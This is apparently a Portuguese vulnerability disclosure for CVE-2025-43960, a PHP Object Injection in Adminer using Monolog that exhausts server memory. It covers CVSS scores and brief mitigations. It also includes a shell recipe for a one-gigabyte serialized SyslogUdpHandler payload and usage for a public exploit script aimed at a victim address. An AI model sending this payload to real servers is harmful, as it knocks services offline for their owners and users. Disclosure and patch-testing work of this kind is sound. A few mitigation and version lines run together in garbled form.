
Exploração de Injeção de Objeto PHP para Adminer <4.8.1 via Monolog, causando Negação de Serviço através de payloads serializados criados. Inclui PoC, pontuação CVSS e orientação de mitigação.
Após meses de espera por uma resposta da MITRE, obtive o CVE-2025-43960 com um ataque de Injeção de Objetos PHP contra o serviço Adminer (<4.8.1), causando Negação de Serviço (DoS) através de Manipulação de Memória.
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
Esta vulnerabilidade permite que atacantes remotos não autenticados explorem instâncias do Adminer 4.8.1 que utilizam Monolog, causando Negação de Serviço (DoS) através de Injeção de Objetos PHP. O vetor de ataque não requer autenticação nem interação do usuário, tornando-se um problema de alta gravidade (CVSS 7.5) com potencial de escalar para 8.6 em determinados ambientes compartilhados.
O Adminer 4.8.1, ao usar Monolog para registro de logs, permite uma negação de serviço (consumo de memória) através de um payload serializado malicioso, como uma string s:1000000000, também conhecido como um problema de Injeção de Objetos PHP. A vulnerabilidade afeta instâncias do Adminer que usam Monolog para registro, onde a entrada não confiável do usuário é desserializada sem validação adequada.
Ao enviar um grande objeto desserializado, um atacante pode forçar alto consumo de memória, tornando a interface do Adminer inoperante e causando uma DoS em todo o servidor.
Pontuação Base: 7.5 (Alta)
Vetor: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Nota sobre implantações específicas:
Se a falha do Adminer também interromper outros serviços/tenants (ex.: contêiner ou processo compartilhado), Escopo: Alterado pode se aplicar:
- Vetor:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- Pontuação: 8.6 (Alta)
unserialize() em dados não confiáveis dentro do Adminer e Monolog.memory_limit) no PHP para evitar consumo excessivo de recursos.allowed_classes em unserialize() para restringir a desserialização de classes não autorizadas.< 4.8.1 (última versão estável no momento do teste)unserialize()Geração do Payload:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
Impacto:
git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium.